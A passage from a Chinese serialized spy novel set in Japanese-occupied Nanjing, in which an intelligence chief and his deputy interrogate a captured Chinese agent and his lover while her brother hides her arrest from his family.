黑木的眉头很快紧锁,他停下脚步,背着双手在原地转了几圈,很快又在渡边面前站定,渡边没等黑木发声,抢先说道:“这是不是意味着可以马上抓捕池碧疆?” 黑木未置可否,问道:“案发当天,池碧疆有没有和这位牛玉高有过接触?” “我马上安排人去查!” 黑木点头,继续说:“单凭这一点,还无法坐实池碧疆的罪行,关键的证据我们还没有,但是,这其中的所有疑点均直指他,他脱不了干系!” 渡边连连称是。 “你从现在起,派专人开始收集他的证据,记住一定要秘密进行!” “是!” 黑木又补充道:“还有,你要立即把他监控起来,不能让他有任何逃跑的机会!” 渡边得意洋洋回答道:“将军请放心,这一点我早有安排,我昨晚开始又派出另一组人,加强了对他的住所的监视,他有妻女,据说,还有一位老母亲,只要她们在我们的掌握之中,还怕他飞了不成?” “那就好!”黑木若有所思道:“看来,我们需要马上着手审讯那位曲医生,从她的嘴里找到池碧疆的关联证据,已迫在眉睫!” 本小章还未完,请点击下一页继续阅读后面精彩内容!“我早就想会一会曲思秋了!”渡边踌躇满志道:“我很想知道,把她和林赤一起并案审讯会出现什么奇妙的反应!” “渡边小姐所言极是,如果真如李泉所说,曲思秋和林赤本是一对恋人,那么重刑之下,他们的开口坦白只是时间问题,除非他们之间不是真爱!” “将军准备何时审讯他们?”渡边迫切问道。 “我今天上午还有安排……昨晚接到司令部的命令,松井石根将军让我今天带着刘云雄亲自去一趟,他要和我探讨关于刘云雄今后的安排!我看咱们把审讯放在下午如何?” “需要我提前准备些什么?”渡边欢快地问道。 “不用太刻意!”黑木淡淡说道:“毕竟是第一次提审曲医生,她的想法我们一无所知,这一次,我们主要就是摸清她的底牌。” 说话间,黑木和渡边已来到机关食堂。 食堂中已人满为患。 渡边帮黑木准备好早点,二人面对面坐好,正各自享用早餐之际,忽然人群中一人独自走到渡边雪奈身旁,先是朝黑木唯唯诺诺问了好,然后和渡边耳语一番。 黑木认识此人,乃是行动处的一名队员,是渡边的手下,黑木对他们的私语显得并不介意,继续埋头用餐,耳里听到渡边屏退手下,声音颇为激动说道:“将军,您让我打听南京城的汽修厂有眉目了……” 黑木抬头和渡边对视了一眼。“说来听听。” “在水西门一带,目前还有一家汽修厂在接活。我们的人了解到,这家汽修厂除了工厂的修理工外,经常有陌生人进进出出,不仅如此,还常有车辆往来不断,看样子生意还不错。” “除此之外,有什么异常现象吗?” “有一个奇怪的现象,这家修理厂是数月前刚刚搬到此处的,按理说,外界知道它的人应该不多,可是它的生意却很火爆,这说明他们有独特的接活渠道,况且据别人反映,厂里面的所有人的行踪都很神秘,看上去行色匆匆……” 黑木断然问道:“你是怀疑那辆嫌疑车来自于这家汽修厂?” “似乎这是最好的解释。” 黑木将碗里残留的小米粥一口喝完,放下碗筷,双手抬起搁在桌上,对渡边娓娓说道:“渡边少佐,我一直认为你是帝国最优秀的军人之一,我身为松机关的机关长,或巨或细的事情很多,你是我的左膀右臂,也是我黑木最信得过的人,很多事情我实在无力亲自过问,与我而言,我更在乎的是结果,毫不讳言,我更爱听到对帝国有益的消息,所以我希望当你们掌握了第一手的情报资源后,要学会分析并利用这些情报资源,但凡不是极其重要的情报,你们不用都向我汇报,你们可以先行过滤,最重要的是你们要马上放手去做,不要什么事情都要得到我的指示,我不在乎过程,只要结果!” 渡边听出黑木话中有苛责的意味,连忙端坐身体,正色道:“将军教诲得极是,有您的这句话,我也就放心了,我可以马上放手去做!” 黑木说完这些话,立起身子,对渡边面无表情道:“渡边小姐尽管放心去做!我先行一步,上午还得安排刘云雄一起去见松井将军!待我返回后,咱们下午一起前往老虎桥监狱提审那两位重要嫌犯!” 黑木道完匆匆而去,留下微微发怔的渡边。 黑木前脚跨出食堂,电讯股股长稻田勇不知从什么地方冒了出来,手里端着餐具来到渡边的对面,腾出一手把黑木用过的餐具推到一旁,徐徐坐下,神情间有幸灾乐祸的欢畅,“怎么了渡边小姐,被将军批评了?” 渡边阴沉着脸,不理稻田勇,只是埋头吃饭。 “这黑木也太无情了,连你也训斥!” 渡边这才醒悟过来,怒瞪了稻田一眼,“你一直在偷听我们的谈话?” 稻田怪叫起来:“怎么叫偷听?将军的嗓门那么高,整个食堂谁没听到?不信你问问和我坐在一起的工藤君?”说着夸张地朝不远处的工藤夕贵做了个鬼脸。 渡边扭头顺着稻田的目光望去,果然看到除了工藤外,很多松机关的同僚都眼神怪异地看着自己,想到黑木刚才绵里藏针的呵责,或许不久后都将传遍这个机关,不由脸色一红,气不打一处来,便迁怒起稻田来,对稻田就没有了和颜悦色,愠怒道:“我的事你少管!” 稻田看到心仪的女人气急,气势顿时委顿,讪讪说道:“渡边小姐怎么能不分是非?我不是来看你笑话的,我是有事找你……” “你找我什么事?”渡边冷冷道。 “我想向你再借一次相机。”稻田自责道:“上次在松机关门前拍的合影胶卷给我不小心弄丢了,同事们都问罪我,所以我想弥补一下,再找机会补拍些照片,安慰安慰他们!” 渡边想起了某一个细节,不再生气,声音也轻柔起来:“怎么这么不小心?” “我想应该是当天晚上我在执行任务时弄丢的……” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第166章 角色易位 曲思冬和赵楷二人并未在平安汽修厂逗留,乘着夜色立即返回藏车的仓库,再由赵楷驾车将曲思冬送回家附近的三条巷。 曲思冬回到家时,已临近子夜时分,他轻手轻脚进了院门,再掏出钥匙拧开房门,父母和妹妹的房间已一片漆黑,看来他们已经入睡。正当他推开自己房门时,妹妹的房间里传出池橙的声音,“是思冬吗?” 曲思冬“嗯”的应了一声。 回到房间,曲思冬坐在床沿上沉思。 忽然房门就悄无声息被人推开,池橙披着一件外衣蹑手蹑脚探身进来,很快掩上房门,关切问道:“怎么这么晚才回来?” “这么晚还不睡?” “我睡不着……思秋姐有消息了吗?” 曲思冬正要回答,听到外面的客厅中有了响动,紧接着,父亲曲怀齐和母亲柳兰双双推门进来,齐声问道:“思秋没事吧?” “没事,她已经回诊所了,你们放心去睡吧……”曲思冬毫不犹豫答道。 二人同时松了口气,池橙跟着道:“太好了,我担心死她了!” 曲怀齐和柳兰对视一眼,神情轻松起来。曲怀齐呵呵道:“没事就好……”说着看了一眼池橙,拉着妻子赶紧出了房间。 池橙见两位老人离开,便在曲思冬身旁坐下,将脑袋靠在他的肩上,并不说话。 两个青年男女谁都没有先开口,彼此相偎着足足十分钟,倒是池橙最先沉不住气,抬眼盯着曲思冬反复看了几眼,终于开口问道:“你好像有心事?” 曲思冬长叹一口气。 这一声叹息立即被池橙敏感地捕捉到,她马上侧过身子,紧张道:“不对呀,既然思秋姐好好的,你应该高兴才对!” 曲思冬欲言又止。 池橙似乎想起什么,提高声音追问:“难道……难道思秋出事啦?” 曲思冬一把捂住池橙的嘴,在她耳边轻声道:“小点声,别让我父母听到!” 池橙脸色庄重起来,“思秋姐真出事了?” 曲思冬点头。语气间透出万般沮丧,“思秋被日本人抓了……这件事你千万别告诉我爸妈!” “啊……”池橙骤然色变,“日本人怎么会抓她?她只是个医生啊!”边说边站起身,来到曲思冬面前,蹲下身子,双手抓住曲思冬的双肩,忙不迭声道:“你快说,到底怎么回事!” “一言难尽……”曲思冬实在不知如何说起,又无法搪塞,只得胡乱找了一个理由:“她……她得罪日本人了……”说完后觉得这个理由还算勉强凑合。 池橙却不那么好糊弄,不依不饶道:“得罪日本人?她的小诊所和日本人八竿子打不着,她又如何能得罪日本人?” 曲思冬看架势,池橙今晚非得问出所以然来,但很多事情又不便全部告知,心中慢慢烦躁起来,不耐烦道:“你、你、你不该知道的别打听!” 池橙不干了,提高嗓门道:“曲思冬,你什么意思?你还把我当不当你的……女朋友?你心中有我吗?你别忘了你是怎么答应我父母的!”池橙一口气说出郁结于胸的不快,并不善罢干休,赌气道:“你既然连我都不想说实话,我还是回家算了,省得让你增加负担!”说着佯作出门状,曲思冬生怕吵到父母,心中惶急,伸手一把拉住池橙的手臂,低声央求道:“池小姐,别耍孩子气……我告诉你还不行吗?” 池橙见事情有了转机,自然是借坡下驴,便柔声道:“我是你……未来的妻子,很多事情你是不该瞒我的!”池橙牵起曲思冬的手,继续说:“即便是痛苦,我是这个世上唯一可以和你共同分担的人……” 曲思冬笨拙地把池橙拽到自己的身旁坐下,看到池橙正用期望的眼神看着他,无奈之下,只得说道:“思秋是……是共产党!” “啊?”池橙惊愕地看着曲思冬,“她居然是共产党?”池橙的眼眸中透出七八分景仰。 “是啊,要不然鬼子怎么会平白无故抓她?” “你怎么知道她是共产党的?……是她告诉你的?” 曲思冬只能点头称是。 “那鬼子又怎么知道的?”池橙心中的疑问不断涌现。 “……她是在执行任务时被抓的!” “执行什么任务?” 看来池橙就这个话题会有没完没了的问题,曲思冬整个人快要崩溃,又不便发作,只得强压住自己的,且需要装得极有耐心,“具体什么任务我也不知道……” “那你怎么会知道她被抓的?” “是她的诊所同事陶小姐告诉我的!” “陶楚歌?”池橙马上说出名字,“我在利民诊所见过她,还是个小姑娘……咦,她又是怎么知道的?” 曲思冬有限的耐心渐渐被燃烧殆尽,脑子快速转动,不想就此问题再纠缠下去,灵光一闪,旋即转移了话题:“和我一起回来的冯勇敢我怎么没见到?他去哪儿啦?” “他自你前脚出门,他后脚就出去了,问他说是去办件事,还说是你安排的……你不清楚?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!曲思冬并不诧异,“嗯”了一声,算是作答。 “对了,你还没回答我陶楚歌是怎么知道思秋姐被抓的?” 曲思冬抓狂道:“她爷爷是南京自救会的会长,和日本人走得近!” 池橙马上联想到自己的父亲,正好有很多问题需要求证,此时夜深人静,正是最好时机,又岂能放过,“白天你和我爸在书房里一呆就是将近一个小时,你们到底说什么啦?” “没聊什么……还不是让我好好照顾你!” “不对!你们之间的谈话一定有事!”池橙矢口否认:“我看得出我爸很伤感,你千万别瞒我!”池橙说着站起,看了看房门。 曲思冬心中一紧,生怕她又要说出回家的话,连忙说道:“不过,我们之间确实还聊了其它的……” 池橙见威胁成功,满意地道:“你快说!” 到这个时候,曲思冬才知道对付这个比自己小四五岁的女子,自己明显显得心有余而力不足,但和池碧疆的盟约在先,又无法撒手不管,况且内心深处还是有些喜欢她的,便硬着头皮决定和她周旋到底! “你爸他得罪日本人了!” “哦?”池橙先是瞪大眼睛,继而彻底愉悦起来:“就老池那性格他还敢得罪日本人?” “你别小看了你爸,他也是一名堂堂的中国人!他替日本人做事是迫不得已!” “他哪方面得罪小日本了?” “……你爸没全说,只是提到日本人胁迫他做一件事,他没答应。”曲思冬胡诌道。 “难怪我爸要急切把我打发走……” 曲思冬接过池橙的话茬:“你爸是怕你会受到伤害,所以才托我把你悄悄带出。” “原来是这么回事!”池橙释然道。 曲思冬见池橙尽管任性难缠,但涉世不深,还是好糊弄的,马上又多了几分信心,便一脸严肃,开始一本正经教导起她来:“池橙同学,如今局势可不是你可以想象的,鬼子侵我国土,杀我同胞,举国上下,同仇敌忾,不是你死,就是我亡,这样的斗争将会一直持续下去,直到把小日本赶出中国,你是经历过生死的人,也是知道鬼子是没有人性的,在这样一个大环境下苟活,我们需要慎之又慎,如果稍有大意,不但会丢了自己的性命,还会连累到周围许许多多的人,这也是你爸思考之后把你托付给我的原因……” 看到池橙的脑袋如小鸡啄米般连连点头,曲思冬内心暗笑,趁热打铁道:“因而,从今以后,你一定要处处听我的话!” “我一定听你的!”池橙将身体更靠近了曲思冬,轻声答道。 “那就好!”曲思冬心满意足说道。 “那……思秋姐怎么办?还有,我爸会有危险吗?”池橙无助地看了曲思冬一眼。 曲思冬沉吟道:“不管如何,我一定会想方设法救出思秋的,我答应过我的父母,要保护好她……”曲思冬又想起池橙的第二个问题,他马上陷入了沉思。 自从白天得知妹妹被捕的消息后,曲思冬脑中就一直盘旋着这个问题:池碧疆会有危险吗?他的答案是肯定的,曲思冬知道,告示上的那位死亡的年轻人不但是池碧疆安排的,而且还是他们区公所的职员,一旦那人的身份得到进一步确认,这就意味着池碧疆离暴露不远了。 事情的关键在于,池碧疆到底知不知道曲思秋被抓? 此外,在池碧疆的家里,曲思冬得知他已被日本人盯上了,如果他不赶紧采取紧急措施,毁掉一些关联证据,恐怕是无法全身而退的! 曲思冬曾经产生过给他报信的念头,可这念头只是一闪而过,又被他否定掉了,他知道只要自己出现在池宅,则一定会进入日本人的视线,到时,不但帮不了池碧疆,还会连累到自己一家和池橙的安全。 但愿池碧疆会注意到满大街张贴的那份告示,查漏补缺后并蛰伏起来! …… 池橙见曲思冬半天没有回答自己的第二个问题,而是蹙眉思索着什么,思忖着他一定在想着某件大事,也不敢惊扰他,就默默地看着自己心爱的男人。 好一会儿,曲思冬抬起头,伸手把池橙揽在怀里,一字一顿道:“橙儿,你就放心吧,你爸的事就是我的事,我不会不管的,我要倾己之力,确保他安然无恙!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第167章 并案审讯 中午一点刚过,一列车队急速驶近南京城的东南方向的城门——中山门。 车队的最前列,是三辆挎斗摩托依次排开,每辆摩托上清一色的三名日本士兵,除了驾驶员外,其余两名均全副武装,每辆摩托上配备一挺6.5毫米十一年式轻机枪,紧跟在挎斗摩托后面的是两辆黑色的福特轿车,最后面,是一辆装载了接近二十名全副武装日军士兵的道奇军用卡车。 车队在靠近中山门的日军卡口前减速,第一辆挎斗摩托上的一名日军少尉掏出证件,递给前来例行检查的哨兵,哨兵仔细查验了证件后,迅速敬了个军礼,然后挥手做了一个放行的动作。 车队进城,沿着中山东路向城内疾驰。 临近黄浦路,车队再次减速并缓缓停下,第一辆黑色轿车的副驾驶的车门打开,一名中佐军衔的日军军官跳下车,打开后车门,一手搭在车顶上,迎出一名身穿黑色长褂的中国人。 此人是一位将近五十岁的中年男人,身体清瘦,在他的眉宇间赫然可见一颗黑痣。 是的,此人正是刚刚归顺日军阵营的原国民政府少将旅长刘云雄。 是的,这列车队正是松机关的机关长黑木一行。他们就在不久前晋见了日军方面军总司令松井石根大将,并在午饭后,一刻也未耽搁,从汤山司令部基地火速赶回城里。 黑木的日程安排里,在今天下午,他要亲自前往老虎桥监狱提审犯人。 …… 刘云雄礼节性的对那位替他开门的中佐报以友好的微笑,并说道:“谢谢川上中佐!” 川上中佐也对他展开笑颜,并不停留,亦步亦趋跟着刘云雄来到第二辆黑色轿车旁。 第二辆轿车的后车窗徐徐摇下,松机关的机关长黑木将军从后排座位探出脑袋。 刘云雄连忙不失时机说道:“黑木将军,按您的吩咐,我就先回松机关。” 黑木点头,不慌不忙道:“刘桑,先委屈你一下,暂时就在我们松机关办公,办公室我已帮你腾出,你新的办公地松井将军已让人帮你物色,等本周的授勋仪式一结束后,到时你的办公地也差不多有了着落,到时再搬过去不迟,在我这儿就是个过渡,千万别介意。” “承蒙松井将军抬爱,把组建南京警卫军这么宏伟的使命托付给我,我岂会介意,感激还来不及呢!” “看来,你和松井将军真是投缘,将军从未如此信任过一个人,何况你是一个中国人,更何况,你是一名……”说到这儿,黑木立即打住。 刘云雄自然知道黑木的下文,面颊微微抽搐了一下,但顷刻间平静如水,面色肃穆说道:“松井将军对我是有知遇之恩,但这一切的缘起还是得益于黑木将军,正是您不计前嫌,才让我有了效忠皇军的机会,所以,此时此刻,我最该感谢的人是阁下!” 黑木呵呵一笑道:“如若这是刘桑的肺腑之言,我十分高兴,这意味着我俩不但有着共同的目标,还将会缔结一份可贵的友谊!你们有句古话说得好,三十年河东三十年河西,任何一个人不能总走背字,也绝不会总是一马平川,说不定假以时日,我黑木还要仰仗刘桑的提携!” “但愿我们的友谊之花不败!”刘云雄把手伸进车内,紧紧握住黑木的手。 黑木抬出左手,盖在刘云雄的手背上,亲切说道:“刘桑,你就放手去做你该做的事吧,我黑木瞳第一个支持你!”说着,主动抽出右手,又说:“将军先回,我还得前往老虎桥监狱提审犯人。”说完,黑木缓缓摇下车窗玻璃。 川上麻衣中佐朝前面的开路日军赶紧一挥手。 所有的机动车并未熄火,第一、二辆挎斗摩托猛然啸叫一声,开始沿着中山东路向前驶去,第三辆摩托右拐进了黄浦路,向松机关的驻地而去,紧跟在它身后的是刘云雄的那辆黑色轿车,然后,黑木的专车快速接上前方的两辆摩托,在他的专车后面,那辆道奇卡车如影随形。 十分钟后,黑木的车队驶进老虎桥路。 老虎桥监狱前,似乎在一夜之间忽然有了生机。 一家名为“红尘”的茶馆挂起了开业的大红灯笼,在茶馆的旁边,居然还出现了一家小吃店,除此之外,一家已然开门迎客的杂货铺也出现在黑木的视线里。 不仅如此,在老虎桥路上,还有了久违的黄包车的影子。 在临近监狱大门前,黑木让司机停下车子,他不顾随行卫兵的警告,执意要和一位歇息在路边的黄包车车夫说话。 黄包车车夫看到日军车队接近,早就不由得把人和车靠在路边,整个人畏缩在路的一侧,可让他始料未及的是,车队忽然停了下来,离他最近的一辆轿车车窗后面倏然探出一个脑袋,从对方的装束可以看出,这是一名日本军官,车夫本能地后退,却见那人的脸上弥漫着一团友好的笑容,伸出手招呼他,并用熟稔的中国话说:“你好呀!” 车夫几乎是魂飞魄散,进也不是退也不是,只得硬着头皮挤出一丝生硬的笑容,语无伦次说道:“……太君,你好……” 本小章还未完,请点击下一页继续阅读后面精彩内容!“不要怕,你的过来,我有话问你!” 车夫壮着胆走近轿车,黑木亲切问道:“你这辆黄包车是自己的还是……” 话没说完,车夫忙不迭声道:“报告太君,我的这辆黄包车是合法的……” “怎么个合法?” “我这辆车可是有证的!”黄包车车夫连忙把身子闪到一旁,手指了指车架上的一张长方形的白色车牌,嘴里继续辩解道:“我是刚刚被招募成为一名车夫的……我还听说,所有的车牌都是皇军颁发的!” “这么说,你们的车行隶属南京赤盟会喽?” “正是正是!我们的后台老板听说是陶天阙……” “哦,我知道了,没你的事了,好好干!”黑木把脑袋缩进车内,心想,陶天阙正是一名优秀的商人,任何商机到他手里都绝对不会放过,前几天刚刚答应给他一百个黄包车车牌,数日后,他的黄包车行就已开张了,真是雷厉风行啊! 黑木马上又想起和陶天阙合股开采栖霞山锰矿的事宜,看来,就陶天阙这样一名逐利是图的商人而言,要得到他的相助也只是时间问题罢了! 车队经过短暂的耽搁,驶进了老虎桥监狱。 武内次郎接到报告,照例跑步前来迎接黑木一行。 黑木刚想询问渡边少佐来了没有,就看到了她停在一旁的专车,忙改口问道:“渡边小姐人呢?” 武内次郎典狱长一边敬礼一边答道:“我想她现在正在审讯那位女犯人……就是那晚收押的名叫曲思秋的女犯。” 黑木心中掠过一丝不快,按约定渡边应该和自己一起参与审讯,但转念一想,她之所以如此迫不及待,还不是立功心切? 武内当然无法洞悉黑木的想法,即刻问道:“要不我带将军前去看一看?” “不用了,你准备一下,我要马上提审林犯,我和渡边少佐分开审讯。” “是将军!” 武内一边招呼随从前去准备,一边将黑木带到会客室。有人立即给黑木递来一杯热气腾腾的新泡龙井茶,黑木边喝茶边和武内东一句西一句地闲聊,半小时后,副典狱长陈炳松跑了进来,报告黑木一切准备妥当。 黑木立即率众人朝第一审讯室而去。 路过第二审讯室的时候,他听到里面传来一个女人凄厉的哭叫声,听声音,分明是利民诊所的女医生曲思秋。 黑木明白,第二审讯室里,渡边小姐正在竭尽全力,试图撬开她的嘴。 女人对付女人,尤其是通过刑罚,这真是这个世上最奇妙的景象。 此时的黑木特别想看看这样美妙的场景,好几次他不由得想探头从门洞中瞟上一眼,但矜持之心让他生生打住,脚步只是稍作停顿,当即快步来到第一审讯室。 一路上,黑木心想,这个渡边,还是稍稍急切了点。 其实,黑木无法揣度渡边小姐的心境,也根本揣度不透她的心思。 当渡边一脚踏进老虎桥监狱之际,她内心升腾而起的便是一股邪火,这股邪火无名无由,且莫名其妙,这股邪火来势凶猛怎么也按捺不住,这股邪火只是碰到了一丁点火星,便马上呈燎原之势。 俄顷之间,这股邪火让渡边狂躁不已! 一切像是着了魔一样,渡边居然无法很好的控制自己。她的情绪像是决堤之水,肆虐泛滥。 …… 第一审讯室的铁门前,两名狱警见到黑木,毕恭毕敬行了个礼,黑木微微颔首,阔步进了房间。 房间里灯火通明,暖意洋洋。 嫌犯林赤正坐在刑椅上,他的手上固有手铐,脚上负着沉重的铁链。 一盏1000瓦的白炽灯在他身后的墙上,迸射出刺眼的光芒。 此时的林赤,双目微闭,低着头靠在椅背上。 黑木把目光从林赤身上移开,先是来到审讯桌旁,脱下厚厚的外衣,慢条斯理地把衣服挂在椅子的后背上,然后整理了一下衣服,接着,他以不疾不徐的步子走到了林赤身旁,站定。 黑木开始近距离端详着眼前的中国特工。 数天不见,他的头发凌乱,脸庞明显消瘦很多,嘴唇上的胡须浓密且长短不一。 怎么看,眼前的这位曾经飞扬跋扈、且自信满满的年轻人都显得那么颓靡不振! 黑木清清嗓子,开始了对林赤的审讯。 他志在必得,要在今天一举拿下他! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第168章 不同寻常的审讯 “林先生,咱们又见面了。”这是一句国际通用的开场白,尤其适用于第二次提审犯人。 通常情况下,有骨气的犯人会冷冷地哼上几声,或者做不屑状,亦或,无动于衷,什么也不用说。 林赤忽然抬头朝黑木笑了笑,黑木蓦然发觉,眼前的犯人精神矍铄,目光炯炯。这只有一种解释,那就是在这之前,他一直在闭目养神,积蓄力量。 黑木刹那间有些诧异,但当他想起即将上演的好戏,不觉精神为之一振,正想奚落他几句,林赤率先开口说话。 “松机关的黑木将军再次亲自审我,我倍感荣幸,如果不出意外,将军此次一定备足了功课,否则,堂堂的少将机关长反复采用那些老掉牙的手段,传出去不免磕碜!” 这句话让黑木倍感意外,他似乎洞悉一切,竟然连自己即将采取其它的方式试图突破他的防线,也有了足够的心理准备,这足见此人确实不容小觑,但转念一想,或许是他闲得蛋疼,整天在胡思乱想罢了,于是顺着他的话笑盈盈问道:“那就请林先生猜上一猜,我接下来会给林先生上一道什么样的大菜?” 林赤忽然笑不起来了,他已察觉到这位鬼子将军神情间肆无忌惮的得意,这种得意让他显得意气风发,除此之外,还有一丝鄙夷的嘲弄。 林赤突然就觉得后背发凉。 黑木哪能感知不到他的细微变化,自己将要落子的这一步棋已经让他感到杀气腾腾,尽管这只是一次主次分明的审讯,力量的悬殊也一目了然,但对方不想轻易认输,尚在作垂死的抗争,如果可以用一盘棋局来类比,对方显然处于劣势,在楚河汉界的两端,二人纵横捭阖,优势者欲一鼓作气,颓势者欲力挽狂澜,但无论如何,胜负已分,对方已然清楚知道,他的致命要害已被自己完全掌控。 接下来的这一步棋将会让自己长驱直入,对方也会因此门户大开! 看到林赤沉默不语,被自己将军将住了,黑木愈发踌躇满志,直接探寻对方的底线,“林先生,我规劝你一句,趁现在我们双方还没撕破脸,你还是全招了吧!” 听到这儿,林赤已经知道,这是一次不同寻常的审讯。对方竟然不加铺垫,直接倒出意图,这本是审讯的大忌,但他之所以这样做,这也足以说明已成竹在胸。 “这道菜想必是你松机关的招牌菜喽?”林赤终于开口说话。 “岂止是招牌菜?还是一道适合天下所有冥顽不化的顽固分子的饕餮大餐!”黑木得意道。 “本人正好几天没有好好吃上一顿了,经你这么一说,已有些等不及了!” 黑木咬牙切齿道:“这么说,林先生是充满渴望?” “废什么话啊!我知道将军必定有所准备,但总得让我见识一下吧,否则我怀疑将军的诚意。”林赤决然说道。 “好,爽快!”黑木忽然提高了声音,面露得色,双掌互击数下,“我敬佩你的勇气!”说着对一旁的武内使了个眼色。 武内领命,匆匆走出审讯室。 林赤开始忐忑起来,武内前脚跨出房间,他的大脑就开始快速思索着。 “对方会用什么样的手段逼自己就范?” 黑木却不愿给他这样的单独思索机会,也不离开,一直站在林赤面前,似笑非笑地看着林赤,还不时流露出嘲弄的神情。 林赤干脆不再去想,反正该来的总会要来,既然自己的真正意图是找一个恰当的时机、拿捏住恰到好处的火候、不露痕迹地假归顺,并纳上投名状,从而得到日本人的信任,顺利地打入敌人的核心,那么,即使敌人采用如何严酷的胁迫,自己也可以轻易应对,唯一担忧的是,这样的胁迫或许会打乱自己的节奏,让他露出马脚。 林赤这两天来,对自己前段时间的表现还算满意,肉体的折磨尽管给他带来撕裂般的疼痛,受刑的时候,他确实痛得受不了,但他一直咬牙坚持,强迫自己挺过去,事后他更是坚信自己还可以继续扛下去,他不止一次暗暗鼓励自己要坚强,不能轻言放弃,要用超常人的意志继续接受即将降临的新的一轮刑罚,唯有自己坚持得越久,鬼子才越不会怀疑他的归顺! 然而,当眼前的这位鬼子的少将机关长用了一个连很多中国人都不曾听说过的“饕餮大餐”的词汇时,林赤彻底明白了事情的严重性,他顿时知道,自己的计划在推进的过程中,绝不可能一帆风顺! 可这样的干扰会是什么呢?或者说,自己最忌惮的是什么呢?是什么让这位少将机关长如此得意忘形?又是什么让这位阴鸷的日本人觉得胜券在握? 林赤的目光和黑木的目光紧紧纠缠在一起,他要尽量不让自己处于劣势,起码气势上不能输给对方。 双方就这样对视着,均不言不语,但林赤的思想一刻也没有停止。 时间似乎是静止的,也似乎是凝固的。 也不知过了多长时间,忽然林赤就听到了门外走廊上由远及近的脚步声。 本小章还未完,请点击下一页继续阅读后面精彩内容!脚步声中,还伴随着脚链摩擦水泥地面迸发的冰冷的锐响。 四周突然死一般沉寂。 林赤的不远处,火炉里的炭火燃烧正欢,火苗发出的滋滋声充斥了整个房间。 一缕阴冷的笑容在黑木的嘴角慢慢扩散。 细碎凌乱的脚步声渐行渐近,转瞬之间,已近至门前。 林赤不由得低下脑袋。 他知道自己即将见到的将是一个诡异的场景,因而,为了不让自己的真情流露,不让黑木轻易洞悉他的内心,他决定先是用耳朵来判断马上要发生的一切。 铁门被人缓缓地推开。 两个脚穿皮靴的人先行跨进门内,这种声音,林赤并不陌生,显然这是两名押送犯人的狱警。 跟着,脚链声响起,俄顷间又静止了,接着稀里哗啦的脚链声一股脑灌进了林赤的耳中,犯人很显然是被人推进了房间。 紧随脚链声,又一串脚步声响起,从脚步的落点频率林赤判断,犯人的身后,还起码跟着三个人。 犯人朝审讯室中央而来。 黑木咳嗽了两声。 武内的声音:“将军阁下,犯人已带到!” 一个熟悉的女人的声音:“将军……”伴随着脚步收缩的声音,这个女人在向黑木敬礼。 林赤的心一紧,他对这个女人从骨子里有着本能地惊惧。 此人正是松机关的渡边,那个多次对他用刑的妖媚女人。 脚链声再次响起,犯人正被人推向黑木的站身处。 林赤并未听到黑木脚步的移动,他还站在原地,或许他急切想看到自己的表情变化。 这名犯人会是谁?林赤低头蹙眉思索着,他的耳朵试图收集一切有用的信息。 他终于听到犯人低沉的喘息。 这喘息声断断续续,夹杂着一丝丝痛楚的呻吟。 这喘息声并不浑厚,相反还隐隐透出孱弱。 林赤忽然就醒悟了,这是一名女犯人。 林赤的脑子“嗡”地一声,整个身心仿佛在一瞬间被人掏空了,他的心似乎一下子被人生生地撕拽了下来。 他最不愿相信、也最不敢相信的事或许就要发生了。 难道,她是曲思秋? 这是林赤最为忌惮的,也是他最不敢深想的。 当黑木提到“饕餮大餐”时,林赤已隐约想到了这一点,但他的思虑总是在触碰到这样的念头时马上游离,这是他最不愿想的,也是他最不想看到的结果。 林赤好几次想立即抬头,看一眼眼前的犯人,到底是否是曲思秋,但被他极力打住。 可除了曲思秋,还会有谁能够掣肘他? 从黑木刚才自信的神色,林赤更坚信了自己的判断。 她是曲思秋!她一定是曲思秋! 就在他意乱神迷之际,这时,女犯人忽然艰难地咳嗽了一声。她显然是在有意提醒自己。 这一声咳嗽,让林赤彻底绝望了。 他多么熟悉的声音啊,不是曲思秋还会有谁? 林赤的心,伴随着这声咳嗽,颤栗了…… 曲思秋的被捕,意味着他的计划出现了极大的变数,因为他深知,曲思秋不止是他的恋人这样的角色,更要命的是,她的另一重身份——共产党!如果她仅仅是他的女友,则一切他完全能够轻松应付,无非就是招供嘛,这是他迟早要做的,他完全可以做到让曲思秋毫发无损,然而,自己如果招供,曲思秋若要全身而退,则意味着曲思秋也必须招供,可是她的招供那必须是她的组织机密,她能那样干吗?还有更要命的,自己的“卧龙计划”是一个高度核心机密,知道该计划的人只有寥寥无几的数人,曲思秋当然更不清楚他的计划,他又能如何说服她和自己保持一致?可由于计划本身的严谨性和机密性,他又不可能全盘告知她实情…… 想到这儿,林赤还心存一丝侥幸。 现在的问题是,曲思秋的被捕,到底是以何种身份被抓?如果只是以他的恋人身份被捕,那一切还可以弥补,可如若是…… 林赤不愿再想,他现在急切需要做的是,反复叮嘱自己要保持足够的冷静! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第169章 双重折磨 黑木忽然说话了:“林先生,你不想看一眼你的朋友吗?你看看我们帮你把谁给带来了?” 林赤定了定神,缓缓抬头,目光掠过黑木,落在了眼前的犯人身上。 不是曲思秋还是谁? 眼前的犯人曲思秋正努力地抬着头看着自己,她的目光中透出一丝关切。 在和林赤目光相遇的一瞬间,林赤发现她的痛苦表情有所缓解,眉宇间有了一缕淡淡的笑意。 也就在这一瞬间,她仿佛找到了倾诉对象,目光中透出万般委屈。 她身上的衣服出现了破损,头发散乱,湿漉漉地贴在脸颊上。 灯光下,她的脸色苍白,嘴角有斑斑的血迹。 她的胸前衣服上,呈焦黄色,从衣服上的破损形态可以推断,她已遭受过烙铁之刑。 看到这儿,林赤五内俱焚,痛得让他有些喘不过气来。 林赤再也忍不住了,脱口道:“思秋,你还好吗?!” 曲思秋努力地挤出一丝微笑,“我很好……林哥,没想到我们在这儿见面了……” 称自己为“林哥”,这是曲思秋第一次如此称呼自己,林赤听出了她言语中的异样。 林赤无暇多思,再也不能自已,几乎是气急败坏呵斥道:“黑木,你们也太卑劣了,有什么你们冲我来啊,为难一个女人算什么?这难道就是你们日本人一贯的作风?” 黑木看到他终于有了反应,心中暗喜,也不生气,反而更加气定神闲。 渡边雪奈竟也无法自已,快步冲到林赤的面前,也不说话,抬手对林赤就是一记响亮的耳光。 林赤的脑袋晃都没晃一下。 从林赤的眼睛里迸发出仇恨的光芒。 林赤再也没有露出一丝怯意,他狠狠地瞪着渡边,目不转睛。 